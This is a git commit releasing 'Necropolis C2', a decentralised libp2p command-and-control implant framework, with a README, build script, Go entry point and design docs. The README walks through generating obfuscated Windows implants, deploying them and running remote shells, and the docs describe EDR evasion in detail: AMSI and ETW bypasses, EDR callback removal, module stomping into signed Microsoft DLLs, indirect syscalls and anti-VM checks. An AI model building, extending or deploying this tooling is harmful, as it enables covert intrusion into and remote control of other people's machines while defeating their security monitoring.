Necropolis v1 release

This commit is contained in:
2026-07-07 04:37:29 +01:00
commit cf9c51a3df
69 changed files with 15056 additions and 0 deletions
+31
View File
@@ -0,0 +1,31 @@
*.key
*.priv
*.pub
operator.*
implant.*
vendor/
dist/
build/
*.exe
*.dll
!implant/core/valak.dll
*.test
*.out
.DS_Store
implant/core/*_stub.go
!implant/core/evasion_stub.go
evasion/.zig-cache/
evasion/zig-out/
server/core/embedsrc/implant_src/
server/core/embedsrc/implant_src.tar.gz
bin/
release/
opencode.json
node_modules/
package.json
package-lock.json
test_output.txt
tmp/
necropolis-c2-review/
necropolis-implant*
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 814 KiB

+135
View File
@@ -0,0 +1,135 @@
# Necropolis C2
![Necropolis C2](NecroPolisC2.png)
A decentralised C2 framework built on **libp2p** (the protocol behind IPFS). No central server to take down. The operator is just another peer on the network. Implants find it via DHT or poll a DHT dead-drop for commands. Any node can relay traffic for any other node.
Necropolis started as a fork of [Arachne C2](https://github.com/portbuster1337/ArachneC2). Arachne nailed the networking side: libp2p, DHT, relays, and no single point of failure. What it lacked was solid implant-side evasion. The original Go implants called standard Win32 APIs that any EDR could easily hook.
Necropolis keeps the libp2p networking foundation and adds a Zig DLL embedded in each implant for kernel-level evasion. Every implant now runs the relay service too. Implants advertise themselves as relays in the DHT, discover each other, and route through other implants via circuit relay when they can't reach the operator directly. GossipSub handles message caching for offline nodes, and there's a dead man switch for resilience.
Same core architecture as Arachne, but now the implant is much harder to detect and the mesh routes around connectivity problems.
Read the full write-up: [Necropolis C2: Decentralised Command and Control Mesh Network](https://medium.com/@lewisgames1995/necropolis-c2-decentralised-command-and-control-mesh-network-f26163ce66dc?postPublishedType=repub)
### Why Zig for the Evasion DLL
The evasion code runs as a Zig DLL inside the Go implant. Go has a runtime (garbage collector, goroutine scheduler, stack management) that fights you when you mess with executable memory, make raw kernel calls, or manipulate the stack. You can't easily encrypt the .text section during sleep because the runtime needs to scan it.
Zig has no runtime at all. It loads into memory, does exactly what you tell it, and gets out of the way. No GC, no scheduler, no hidden threads. This lets you scan ntdll for syscall numbers, use syscall;ret gadgets, encrypt code sections during sleep, and run raw assembly.
The Go side handles networking, cross-platform stuff, file operations, and everything that doesn't touch the kernel directly. The Zig DLL handles the kernel work. It loads from memory at runtime. If it fails, the implant runs without evasion.
### Evasion Techniques
The Zig DLL handles kernel-level work:
- **Syscall resolution**: FreshyCalls sorts ntdll's Nt* exports by RVA and assigns SSN based on position. This stays immune to inline hooks. HAL's Gate falls back to the exception directory for forwarded exports.
- **Indirect syscalls**: Every call goes through a random syscall;ret gadget inside ntdll.
- **Module stomping**: After reflective loading, the DLL stomps its .text into a signed Microsoft DLL (like CryptoAPI.dll or dwrite.dll), wipes its PE headers, but keeps the original memory allocation.
- **Sleep obfuscation**: Sets the .text section to PAGE_NOACCESS during idle periods. Restores protection on wake. Simple, effective, and doesn't break the Go runtime.
- **AMSI bypass**: Hardware breakpoint on AmsiScanBuffer via VEH. Sets return value to clean without modifying memory.
- **ETW suppression**: Three-tier fallback (NtTraceControl → HWBP → RET patch on EtwEventWrite).
- **EDR callback removal**: NtSetInformationProcess for ProcessInstrumentationCallback, with CFG-aware workaround using a jmp r10 gadget in ntdll.
### Project Structure
```
necropolis-c2/
├── build.sh # Build script (auto-installs Go + Zig if needed)
├── bin/ # Compiled binaries
├── cmd/
│ └── necropolis/ # Main entry point (operator + generator)
├── docs/ # Design docs
├── evasion/ # Zig DLL source
│ └── arch/ # Assembly for syscall dispatch
├── implant/ # Implant agent code
├── pkg/
│ ├── config/
│ ├── cryptography/
│ └── transport/
├── protobuf/ # Protocol definitions
└── server/ # Operator logic and CLI
```
### Build
Run the build script. It handles dependencies and cross-compiles:
```bash
./build.sh
```
Binaries go to `bin/necropolis-{os}-{arch}` (with `.exe` on Windows).
### Quick Start
**1. Run the operator**
```bash
./bin/necropolis
```
It generates your keypair on first run.
**2. Generate an implant**
```bash
./bin/necropolis generate --os windows --arch amd64 --output ./implant --evasion --obfuscate
```
Use `--evasion` to embed the full Zig DLL.
**3. Deploy the implant**
```bash
./implant # Full DHT discovery + dead-drop
./implant -peer /ip4/.../p2p/12D3... # Direct connection
```
**4. Use the console**
```
necropolis> list
necropolis> select 0
necropolis[user@hostname]> exec whoami
```
Commands include `exec`, `shell`, `ps`, `ls`, `portfwd`, `socks`, `deadman`, `download`, `upload`, and more.
### Security
- Ed25519 signatures on all messages
- Implants embed the operator's public key at build time
- Bidirectional NaCl box encryption
- Per-implant keypairs for identity
- Auth tokens to prevent injection
- Relay nodes only see encrypted traffic
### References
- **FreshyCalls / RecycledGate** — RVA-sorted SSN extraction (immune to inline hooks)
https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
- **Hell's Gate / HAL's Gate** — Export directory walk + exception directory fallback
https://github.com/am0nsec/HellsGate
- **Indirect Syscalls** — SysWhispers style syscall;ret gadgets
https://github.com/jthuraisamy/SysWhispers
- **Module Stomping** — Hiding in signed Microsoft DLLs
https://dtsec.us/2023-11-04-ModuleStompin/
https://infosecwriteups.com/an-introduction-to-module-stomping-26238af76d43
- **AMSI / ETW Hardware Breakpoint Bypass**
https://github.com/FortisecValidation/Micro-Stager
- **Instrumentation Callback (CFG workaround)**
https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
- **Arachne C2** (original project)
https://github.com/portbuster1337/ArachneC2
- **libp2p docs**
https://libp2p.io/docs/
### Disclaimer
This tool is for educational purposes and authorised security testing only. Only use it on systems you own or have explicit permission to test. Unauthorised use is illegal. Use at your own risk.
### License
GPLv3
Executable
+112
View File
@@ -0,0 +1,112 @@
#!/usr/bin/env bash
set -euo pipefail
cd "$(dirname "$0")"
install_go() {
local arch os go_url go_file
os="$(uname -s | tr '[:upper:]' '[:lower:]')"
arch="$(uname -m)"
case "$arch" in
x86_64) arch=amd64 ;;
aarch64|arm64) arch=arm64 ;;
*) echo "Unsupported arch: $arch"; exit 1 ;;
esac
echo "Go not found. Downloading and installing Go for ${os}/${arch}..."
go_url="https://go.dev/dl/$(curl -sL 'https://go.dev/VERSION?m=text').${os}-${arch}.tar.gz"
go_file="/tmp/$(basename "$go_url")"
curl -#Lo "$go_file" "$go_url"
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "$go_file"
rm -f "$go_file"
export PATH="/usr/local/go/bin:$PATH"
echo "Go installed: $(go version)"
}
if ! command -v go &>/dev/null; then
if [ -x /usr/local/go/bin/go ]; then
export PATH="/usr/local/go/bin:$PATH"
else
install_go
fi
fi
EMBED_DIR="server/core/embedsrc"
echo "Preparing embedded implant source..."
rm -rf "$EMBED_DIR/implant_src" "$EMBED_DIR/implant_src.tar.gz"
mkdir -p "$EMBED_DIR/implant_src"
cp -r implant pkg protobuf "$EMBED_DIR/implant_src/"
# Copy go.mod/go.sum under different names to avoid Go embed module boundary restriction
cp go.mod "$EMBED_DIR/implant_src/go.mod.txt"
cp go.sum "$EMBED_DIR/implant_src/go.sum.txt"
# Write stub key files so the embedded tree is vettable
cat > "$EMBED_DIR/implant_src/implant/core/embedded_pubkey.go" << 'GOEOF'
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = []byte{}
GOEOF
cat > "$EMBED_DIR/implant_src/implant/core/embedded_implant_key.go" << 'GOEOF'
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = []byte{}
GOEOF
cat > "$EMBED_DIR/implant_src/implant/core/embedded_boxpubkey.go" << 'GOEOF'
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = []byte{}
GOEOF
cat > "$EMBED_DIR/implant_src/implant/core/embedded_authtoken.go" << 'GOEOF'
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedAuthToken = []byte{}
GOEOF
# Prune files not needed for compilation
find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete
find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete
# Remove any leftover test stubs (not antivm_stub.go which is real source)
find "$EMBED_DIR/implant_src" -name "*_stub.go" ! -name "antivm_stub.go" ! -name "evasion_stub.go" -type f -delete
# Compress the source tree (Go source code compresses extremely well)
echo "Compressing embedded source tree..."
tar -czf "$EMBED_DIR/implant_src.tar.gz" -C "$EMBED_DIR/implant_src" "."
rm -rf "$EMBED_DIR/implant_src"
# Build the Zig evasion DLL and copy it to the implant source
echo "Building evasion DLL..."
(cd evasion && zig build -Doptimize=ReleaseSafe) 2>/dev/null || echo " zig not found, skipping evasion DLL build"
if [ -f evasion/zig-out/bin/valak.dll ]; then
cp evasion/zig-out/bin/valak.dll implant/core/valak.dll
echo " evasion DLL built: $(wc -c < evasion/zig-out/bin/valak.dll) bytes"
fi
mkdir -p bin
build_platform() {
local goos="$1" goarch="$2" suffix="$3"
local out="bin/necropolis-${goos}-${goarch}${suffix}"
echo " building ${goos}/${goarch} -> ${out}..."
GOOS="$goos" GOARCH="$goarch" go build -trimpath -buildvcs=false -ldflags="-s -w -buildid=" -o "$out" ./cmd/necropolis/
}
echo "Building necropolis (cross-platform)..."
build_platform linux amd64 ""
build_platform linux arm64 ""
build_platform windows amd64 ".exe"
build_platform windows arm64 ".exe"
build_platform darwin amd64 ""
build_platform darwin arm64 ""
echo "Done. Binaries in ./bin/"
+42
View File
@@ -0,0 +1,42 @@
package main
import (
"flag"
"fmt"
"os"
"github.com/Yenn503/NecropolisC2/server/core"
)
func main() {
if len(os.Args) > 1 && os.Args[1] == "generate" {
if err := core.RunGenerate(os.Args[2:]); err != nil {
fmt.Fprintf(os.Stderr, "error: %v\n", err)
os.Exit(1)
}
return
}
var relayAddrs multiFlag
flag.Var(&relayAddrs, "relay", "relay multiaddress (optional, auto-discovers via DHT by default)")
flag.Parse()
if err := core.Run(relayAddrs); err != nil {
fmt.Fprintf(os.Stderr, "error: %v\n", err)
os.Exit(1)
}
}
type multiFlag []string
func (m *multiFlag) String() string {
if len(*m) == 0 {
return ""
}
return (*m)[0]
}
func (m *multiFlag) Set(s string) error {
*m = append(*m, s)
return nil
}
+182
View File
@@ -0,0 +1,182 @@
# Necropolis C2 Architecture
## Overview
Necropolis is a decentralised C2 framework inspired by Sliver (BishopFox/sliver),
built on libp2p (the modular peer-to-peer networking stack from Protocol Labs).
Instead of hosting centralised C2 servers on VPS/cloud infra that can be taken down,
blocked, or fingerprinted, necropolis uses the global libp2p DHT and GossipSub for
operator discovery, implant communications, and command relay. No central server,
no static IP, no DNS.
## Why libp2p Instead of HTTP/DNS/mTLS/WireGuard (Sliver's Approach)
| Feature | Sliver | Necropolis |
|---|---|---|
| Transport | mTLS, HTTP(S), DNS, WireGuard | libp2p (TCP, WS, WSS) |
| Server identity | Static IP / domain | PeerID (cryptographic) |
| Discovery | Hardcoded C2 endpoints | DHT + PubSub topic discovery |
| Resilience | Multiple listeners | Any peer can relay |
| Takedown | Block IP/domain | Unbounded: must Sybil the DHT |
| NAT traversal | Manual / WireGuard | AutoNAT + relay + hole-punching |
| Encryption | Per-binary asymmetric keys | libp2p noise/TLS + protobuf envelopes |
| Implant comms | Polling / long-poll / DNS ticks | Direct streams + persistent beacon stream |
## File Reference
```
necropolis-c2/
├── README.md
├── cmd/necropolis/main.go # Single binary entry point. Runs operator CLI by default.
├── server/core/
│ ├── run.go # Binary startup: parses flags, creates operator, launches CLI
│ ├── operator.go # Operator node: implant registry, command dispatch, DHT dead-drop
│ ├── cli.go # Interactive console: command history, implant selection, all commands
│ ├── generate.go # Implant build pipeline: cross-compile, garble, UPX, credential embedding
│ ├── generate_toolchain.go # Auto-install: Go, MinGit, garble downloads if missing on operator machine
│ ├── socks_proxy.go # SOCKS5 proxy server on operator side. Credential management.
│ └── embedsrc/embed.go # Embeds the full implant source tree for self-contained builds
├── implant/
│ ├── main.go # Implant entry point. Parses -peer and -wss flags.
│ └── core/
│ ├── agent.go # Implant agent: startup, beacon loop, discovery, streams, DHT polling
│ ├── agent_commands.go # All command handlers: ps, ls, cd, pwd, exec, shell, download, upload, kill, deadman
│ ├── agent_relay.go # Mesh routing: relay discovery, relay health tracking, circuit relay selection
│ ├── shell.go # Shell dispatch (platform-specific ConPTY/PTY)
│ ├── shell_windows.go # Windows ConPTY shell implementation
│ ├── shell_unix.go # Unix PTY shell implementation
│ ├── ps.go # Cross-platform process listing
│ ├── portfwd.go # TCP port forwarding through implant
│ ├── socks.go # SOCKS5 client on implant side
│ ├── antivm.go # VM detection core (scoring engine)
│ ├── antivm_windows.go # Windows-specific VM checks
│ ├── antivm_linux.go # Linux-specific VM checks
│ ├── antivm_darwin.go # macOS-specific VM checks
│ ├── antivm_stub.go # No-op stub when --antivm not used
│ ├── evasion_windows.go # Reflective PE loader for Zig DLL, sleep obfuscation
│ ├── evasion_stub.go # No-op stub for non-evasion builds
│ ├── embed_evasion.go # Embeds valak.dll as []byte for reflective loading
│ ├── embedded_pubkey.go # Generated stub: operator Ed25519 public key (replaced at build time)
│ ├── embedded_implant_key.go# Generated stub: implant Ed25519 private key (replaced at build time)
│ ├── embedded_boxpubkey.go # Generated stub: operator NaCl box public key (replaced at build time)
│ └── embedded_authtoken.go # Generated stub: 32-byte auth token (replaced at build time)
├── evasion/ # Zig evasion DLL source
│ ├── build.zig # Zig build configuration
│ ├── main.zig # DLL exports: init, patch_etw, patch_amsi, stomp_evasion
│ ├── syscall.zig # FreshyCalls + HAL's Gate syscall resolution, indirect dispatch (no stack spoofing)
│ ├── resolve.zig # PEB-based module/function resolution via ror13 hashes. No static imports.
│ ├── stomp.zig # Module stomping: copies DLL .text into signed Microsoft DLL, wipes headers
│ ├── etw.zig # ETW suppression: NtTraceControl → hardware breakpoint → RET patch fallback
│ ├── amsi.zig # AMSI bypass: hardware breakpoint on AmsiScanBuffer via VEH
│ ├── api.zig # Global function pointer storage for dynamically resolved Windows APIs
│ ├── pe.zig # PE header structure definitions
│ ├── win32.zig # Windows type definitions and constants
│ └── arch/hells_gate.s # x64 assembly stubs: syscall dispatch
├── pkg/
│ ├── transport/
│ │ ├── node.go # libp2p host wrapper: DHT, PubSub, relay, mDNS. Protocol ID constants.
│ │ ├── messenger.go # Envelope creation/signing/verification, topic management, replay protection
│ │ └── types.go # Message type constants (MsgTypeRegister, MsgTypePs, etc.)
│ └── cryptography/
│ ├── keys.go # Ed25519 key pairs, NaCl box encryption, auth token generation
│ └── keys_test.go # Crypto unit tests: encrypt/decrypt roundtrip, sign/verify, key persistence
├── protobuf/
│ ├── apb/necropolis.proto # Wire message definitions (Envelope, Z1-Z25)
│ ├── apb/necropolis.pb.go # Generated protobuf Go code
│ ├── cpb/common.proto # Common types (Response, Request, Process)
│ └── cpb/common.pb.go # Generated common types
├── docs/ # Architecture and design documentation
├── build.sh # Cross-platform release build script
├── go.mod / go.sum # Go module definition
└── .gitignore
```
## High-Level Architecture
```
┌─────────────────────────────────────────────────────────────┐
│ libp2p Network (DHT + Relay) │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Operator │ persistent │ Implant │ │ Implant │ │
│ │ (Client) │←──beacon─────│ (Agent) │ │ (Agent) │ │
│ │ │──command────→│ │ │ │ │
│ │ │ direct str │ │ │ │ │
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
│ │ │ │ │
│ └─────────────────────────┴──────────────┘ │
│ DHT discovery + relay circuits │
└─────────────────────────────────────────────────────────────┘
```
## Key Components
### 1. Operator Node (Client)
- Connects to libp2p network with a **PeerID** derived from an operator key
- Handles persistent beacon streams from implants (`/bc/1.0.0`)
- Sends commands to implants over direct libp2p streams (`/bc/1.0.0/cmd`)
- Opens direct libp2p streams for interactive sessions (shell, socks, portfwd)
### 2. Implant Node (Agent)
- Compiled with an **operator's public key** (embedded at build time)
- Connects to libp2p bootstrap peers or uses embedded peer list
- Opens persistent beacon stream to operator (`/bc/1.0.0`) with 5s keepalive
- Receives commands on direct streams (`/bc/1.0.0/cmd`) and via pubsub fallback
- Supports session mode (direct stream for shell, portfwd) over relay circuits
### 3. Relay Nodes
- Any libp2p peer can act as a relay (no cost, no registration)
- AutoNAT + relay protocol for NAT traversal
- No special server software — standard libp2p relays
## Communication Model
| Message Type | Transport | Pattern |
|---|---|---|
| Beacon / Heartbeat | Persistent direct stream (`/bc/1.0.0`) | Implant → Operator |
| Command dispatch | Direct stream (`/bc/1.0.0/cmd`) | Operator → Implant |
| Task result | Beacon stream or pubsub fallback | Implant → Operator |
| DHT dead-drop | DHT value store (`/necropolis/cmd/<id>/<nonce>`, 30s poll) | Operator → Implant |
| Interactive shell | Direct libp2p stream (`/x/sh/1.0.0`) | Bidirectional (Ctrl+] to exit) |
| File download | Direct stream | Implant → Operator |
| SOCKS / Portfwd | Direct stream (`/x/pf/1.0.0`) | Proxied through libp2p |
## Security Model
Each implant build embeds a unique Ed25519 keypair so the implant keeps the same PeerID
across restarts. All libp2p transports are encrypted (Noise XX or TLS 1.3). Envelopes are
signed with the sender's private key. Only the operator with the correct private key can
publish to `necropolis/<op-id>/commands`. Ephemeral session keys are used for direct streams.
## Evasion Architecture
When built with `--evasion`, the implant carries an embedded Zig DLL (`valak.dll`) compiled
from the `evasion/` directory. The DLL contains kernel evasion primitives: FreshyCalls SSN
extraction, indirect syscall dispatch, sleep obfuscation (Go-side PAGE_NOACCESS), AMSI
bypass via hardware breakpoint, ETW three-tier patching, and EDR callback removal.
At runtime, the implant loads the DLL reflectively from memory (no %TEMP% extraction, no
LoadLibrary call). A reflective PE loader in the evasion module maps the DLL's sections
into memory, resolves imports, applies relocations, and calls the entry point directly.
After loading, the DLL stomps its `.text` section into a legitimate signed Microsoft DLL's
memory range (e.g. `CryptoAPI.dll`, `dwrite.dll`) so the code executes from inside a
Microsoft-signed address range. The original allocation's PE headers (MZ, PE\0\0) are zeroed
so memory scanners find no orphaned PE signature.
| Evasion Layer | Implementation |
|---|---|---|
| Module stomping | `.text` copied into a signed Microsoft DLL range; original headers wiped |
| Sleep obfuscation (PAGE_NOACCESS) | DLL .text set PAGE_NOACCESS during idle via VirtualProtect; Go binary .text unaffected |
| Indirect syscalls | FreshyCalls SSN + random ntdll gadget (no call-stack spoofing) |
| ETW patch | Three-tier: NtTraceControl → HWBP (Dr0 + VEH) → RET patch fallback |
| AMSI bypass | VEH + DR0 hardware breakpoint on AmsiScanBuffer; SuspendThread/ResumeThread |
| EDR callback removal | SeDebugPrivilege escalation + NtSetInformationProcess(40) |
| Build tag | `-tags=evasion` embeds and activates Zig DLL |
+100
View File
@@ -0,0 +1,100 @@
# Evasion Chain
## Architecture
Evasion lives in two layers:
- **Go binary** — reflective PE loader, sleep obfuscation, cgocall bridge
- **Zig DLL** — syscall dispatch, API resolution, AMSI/ETW/EDR evasion, module stomping
## Loading Phase
### Reflective DLL Loading
How the Go loader reads PE headers, allocates memory via VirtualAlloc, copies sections, applies relocations, resolves imports, sets section protections, resolves exports, calls DllMain and init_evasion. No file on disk, no LoadLibrary callback.
## Initialization Phase
### init_evasion → syscall.init_syscall
- Walks PEB to find ntdll base
- Scans ntdll for `0F 05 C3` (syscall;ret) gadgets, stores addresses in pool
- Seeds PRNG
- Caches exception directory for HAL's Gate fallback
- Builds FreshyCalls table: walks ntdll export directory, collects Nt* exports,
sorts by RVA, SSN = position. Immune to inline hooks.
Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
- Scans ntdll for `41 FF E2` (jmp r10) gadget — used as CFG-safe IC neutralizer
### api.ensure()
- Resolves ~100 Windows API function pointers by walking PEB → module export tables
- kernel32, ntdll, advapi32, winhttp, bcrypt
- Used by evasion functions for non-syscall operations (VirtualProtect, LoadLibrary, etc.)
## Evasion Phase
### stomp_evasion
- Copies DLL .text into a signed Microsoft DLL (CryptoAPI/dwrite/msvcp_win)
- Changes target protection to RWX, copies, restores to RX
- Zeros original PE headers (DOS header + NT headers)
- Memory scanners see legitimate signed DLL code at execution addresses
- Base passed from Go (reflective DLL not in PEB module list)
### patch_etw (three-tier)
- Tier 1: NtTraceControl to stop EDR ETW providers (MDE, kernel-process, security-mitigations)
- Tier 2: Hardware breakpoint on EtwEventWrite via VEH + debug registers
- Tier 3: RET patch fallback — writes 0xC3 to EtwEventWrite's first byte
- On Windows 10/11 where NtTraceControl is forwarded to api-ms-win DLLs, extract_ssn skips Method 1 (forward RVA guard) and falls through to HAL's Gate Method 2
### patch_amsi
- Loads amsi.dll, resolves AmsiScanBuffer address
- Installs Vectored Exception Handler (VEH) as first-in-chain
- Sets DR0 hardware breakpoint to AmsiScanBuffer address
- Sets Dr7 to enable DR0 locally
- SuspendThread → SetThreadContext → ResumeThread (proper thread context modification per MS docs)
- On hit: VEH handler sets RAX=0 (AMSI_RESULT_CLEAN), sets RIP to return address, pops stack
- No bytes modified in amsi.dll — invisible to EDR tamper detection
### remove_edr_callbacks
- Escalates SeDebugPrivilege (best-effort, silently skips if fails)
- Calls NtSetInformationProcess with InfoClass=40 (ProcessInstrumentationCallback)
- CFG-aware: on CFG-enabled systems (Win10 1709+), kernel refuses null callback pointer.
Uses `jmp r10` gadget address instead — IC fires but immediately returns, neutralizing it.
Reference: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
- On non-CFG systems: sets Callback=NULL, removing the EDR's instrumentation callback
- Runs LAST in startup chain (the call itself is an IoC — but nothing follows it)
- Defanged on Windows 11 23H2+ (restricted to kernel-mode callers)
## Sleep Phase
### EvasionSleep (Go-side)
- Gated by dllLoaded flag (prevents protection before DLL fully initialized)
- Pre-saved .text bounds from section scan during loading
- VirtualProtect(DLL .text, PAGE_NOACCESS) — DLL code unreadable during idle
- time.Sleep(duration) — Go runtime, not DLL code
- VirtualProtect(restore original protection) — DLL executable again
- DLL .text at different address than Go binary .text — Go code executes fine during protected period
## Syscall Dispatch
### FreshyCalls: SSN Extraction
- Walks ntdll's export directory, collects all Nt* exports with real code addresses
- Sorts by RVA ascending — SSN = position in sorted order
- Immune to inline hooking: EDRs can patch stub bytes but cannot change linker RVA order
- HAL's Gate fallback: binary search exception directory for forwarded exports
not in ntdll's direct export table
- Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
### Indirect Syscall Execution
- Random gadget from g_syscall_addrs pool (0F 05 C3 in ntdll)
- hells_gate assembly: encrypts SSN, stores gadget address globally
- hell_descent assembly: decrypts SSN into eax, sets up r10 (first arg), jumps to gadget
- Gadget's `syscall` runs with eax=SSN — kernel processes it
- Gadget's `ret` returns to hell_descent caller, unwinding through normal call chain
- Never calls the hooked export stub — EDR sees a syscall from a random ntdll address
### No Call Stack Spoofing
- Go's cgocall requires clean stack returns
- NtContinue-based ROP chains corrupt Go's goroutine scheduler
- All dispatch is non-spoofed
## Key Fixes Applied
- PE struct offsets corrected (SizeOfImage at 56, not 36)
- imageImportDescriptor corrected to 20 bytes
- @intCast→ntstatus helper (usize to NTSTATUS via @bitCast)
- extract_ssn forwarded export guard (prevents @intCast panic)
- CONTEXT_DEBUG_REGISTERS = 0x100010 (was 0x10, missing AMD64 flag)
- SuspendThread/ResumeThread before SetThreadContext
- stomp_evasion(base) parameter from Go
- dllLoaded flag guards EvasionSleep
+181
View File
@@ -0,0 +1,181 @@
# Implant Design
## Overview
The necropolis implant is a lightweight Go binary that connects to the libp2p network and
communicates with its operator entirely through direct p2p streams, with pubsub as a
fallback. It has no hardcoded server IPs or DNS names — only a cryptographic reference
to the operator's public key.
## Directory Structure
```
implant/
├── main.go # Entry point
└── core/ # All implant runtime logic
├── agent.go # Core lifecycle, beacon loop, command dispatch, handlers
├── shell.go # Shell path selection (/bin/bash, cmd.exe, etc.)
├── shell_unix.go # PTY-based interactive shell (Linux/macOS)
├── shell_windows.go # ConPTY-based interactive shell (Windows)
├── portfwd.go # TCP port forwarding tunnel
├── socks.go # SOCKS proxy tunnel (identical to portfwd currently)
├── ps.go # Process listing (Linux /proc, Windows tasklist)
├── antivm.go # VM detection framework (cross-platform, build-tag gated)
├── antivm_linux.go # 50+ Linux-specific VM detection techniques
├── antivm_darwin.go # macOS-specific VM detection techniques
├── antivm_windows.go# Windows-specific VM detection techniques
├── antivm_stub.go # No-op stub when compiled without `-tags=antivm`
├── embed_evasion.go # Embeds valak.dll via //go:embed
├── evasion_windows.go # Evasion loader + sleep obfuscation
├── valak.dll # Zig evasion DLL (FreshyCalls, indirect syscalls, AMSI/ETW bypass, module stomping)
├── evasion_stub.go # No-op stub when compiled without `-tags=evasion`
├── agent_relay.go # Implant-to-implant relay advertisement and routing
├── embedded_pubkey.go # Generated: operator's public key embedded at build time
├── embedded_implant_key.go # Generated: implant's unique keypair embedded at build time
├── embedded_authtoken.go # Generated: operator-specific auth token embedded at build time
└── embedded_boxpubkey.go # Generated: NaCl box public key embedded at build time
```
## Build Process
1. Operator runs `necropolis generate --os linux --arch amd64` (from CLI or standalone)
2. `server/core/generate.go` unpacks the embedded source tree from `server/core/embedsrc/implant_src.tar.gz`
3. Injects the operator's public key and a fresh implant Ed25519 keypair into the source tree
4. Optionally applies build tags (`-tags=antivm`, `-tags=evasion`) and quiet-mode stubs
5. Cross-compiles with `CGO_ENABLED=0` for the target OS/arch
6. When `--evasion` is set, embeds `valak.dll` (1.5 MB Zig kernel evasion DLL) into the
binary via `//go:embed`. The DLL is loaded at runtime from memory and provides FreshyCalls
syscall dispatch, AMSI/ETW bypass, module stomping, EDR callback removal.
7. Applies garble obfuscation (`--obfuscate`), UPX compression (`--upx`), and strip (`--quiet`)
8. The resulting binary is self-contained — no source tree, no external dependencies
Each build generates a unique implant keypair. The implant keeps the same PeerID across restarts.
## Core Lifecycle
### Startup
1. Load operator's public key from embedded `embedded_pubkey.go`
2. Load implant's private key from embedded `embedded_implant_key.go`
3. Derive libp2p PeerID from implant public key
4. Initialise libp2p host with:
- TCP + WebSocket transports (no UDP/QUIC for sandbox compatibility)
- AutoNAT + relay client for NAT traversal
- DHT client for peer discovery
- GossipSub pubsub
5. If `--peer` flag is provided, connect to operator directly
6. If `--wss` flag is provided, connect via WebSocket Secure (TLS over TCP/443)
7. Start DHT discovery loop to find operator via rendezvous namespace
8. Start DHT dead-drop poll loop (`pollDHTCmdLoop`) — polls `/necropolis/cmd/<id>/<nonce>` every 30s for signed command envelopes
9. Once connected, open persistent beacon stream (`/bc/1.0.0`) to operator
10. Register via signed `Z1` (beacon register with system metadata)
11. Start beacon loop and cover traffic loop
### Main Loop
```
beaconLoop (every 10-15s):
Send Z1 (beacon register) on persistent /bc/1.0.0 stream
Sleep(interval + random(jitter))
streamKeepaliveLoop (every 5s):
Write MsgTypeCover on persistent stream to prevent relay idle timeout
coverTrafficLoop (every 4-7s):
Publish random noise to the beacon pubsub topic
discoverOperatorLoop (every 15s):
Find operator via DHT rendezvous
If beacon stream is nil, reconnect
pollDHTCmdLoop (every 30s):
Poll DHT dead-drop at /necropolis/cmd/<id>/<nonce> for signed command envelopes
Process through existing command handler
commandStream handler:
Read length-prefixed envelope from /bc/1.0.0/cmd stream
Verify Ed25519 signature against embedded operator pubkey
Dispatch by message type
Send result on persistent beacon stream
```
### Session Mode (Shell, Portfwd, SOCKS)
```
on incoming stream:
Read target/winsize from stream header
Establish local connection / PTY
Bidirectional io.Copy between libp2p stream and local resource
On disconnect or Ctrl+]: cleanup and return
```
## Command Handlers
All command handlers follow the same pattern:
1. Deserialise protobuf request from envelope
2. Execute operation (local filesystem, process execution, etc.)
3. Serialise protobuf result
4. Send result via `sendResult()` — tries persistent stream first, falls back to pubsub
| Handler | Protobuf | Operation |
|---|---|---|
| `handlePs` | Z12 → Z13 | List processes via `/proc` (Linux) or `tasklist` (Windows) |
| `handleLs` | Z16 → Z17 | Read directory entries |
| `handleCd` | Z19 → Z21 | `os.Chdir()` |
| `handlePwd` | Z20 → Z21 | `os.Getwd()` |
| `handleExecute` | Z14 → Z15 | `exec.CommandContext()` with optional output capture |
| `handleDownload` | Z22 → Z23 | `os.ReadFile()` with 100MB limit |
| `handleUpload` | Z24 → Z25 | `os.WriteFile()` with optional overwrite and 100MB limit |
| `handleKill` | (none) → (none) | Log stack trace, `os.Exit(0)` |
| `handleScreenshot` | Z2 → Z3 | Returns "not implemented" stub |
## Platform Support
| Feature | Windows | Linux | macOS |
|---|---|---|---|
| TCP transport | ✓ | ✓ | ✓ |
| WebSocket transport | ✓ | ✓ | ✓ |
| Process list | ✓ (tasklist) | ✓ (/proc) | ✓ (stub) |
| File ops | ✓ | ✓ | ✓ |
| Interactive shell | ✓ (ConPTY) | ✓ (PTY) | ✓ (PTY) |
| Port forwarding | ✓ | ✓ | ✓ |
| VM detection | 50+ checks | 50+ checks | 8 checks |
| Kernel evasion | ✓ (DLL) | — | — |
## Evasion System
When compiled with `--evasion`, the implant includes a Zig DLL (`valak.dll`) built from
`evasion/` in the source tree. The DLL is embedded via `//go:embed valak.dll` at compile
time and loaded from memory via reflective PE loader at runtime. After loading, the DLL
stomps its `.text` section into a legitimate signed Microsoft DLL (e.g. `CryptoAPI.dll`,
`dwrite.dll`), frees the original allocation, and wipes its PE headers. Once stomped, the
code executes from inside a Microsoft-signed address range with no orphaned PE signature.
It provides kernel-level evasion primitives ported from the Tenshu C2 framework:
| Technique | Implementation | Persistence |
|---|---|---|---|
| Module stomping | `.text` copied into signed MS DLL range; original headers wiped | On load |
| Image header wiping | MZ/PE\0\0 zeroed at original allocation after stomp | On load |
| Sleep obfuscation (PAGE_NOACCESS) | DLL .text set PAGE_NOACCESS via VirtualProtect during idle | Per sleep cycle |
| Indirect syscalls | FreshyCalls + HAL's Gate SSN extraction, random ntdll gadget | Available via DLL call |
| ETW patch | Three-tier: NtTraceControl → HWBP → RET patch | On init |
| AMSI bypass | DR0 hardware breakpoint + VEH with SuspendThread/ResumeThread | Installed on init |
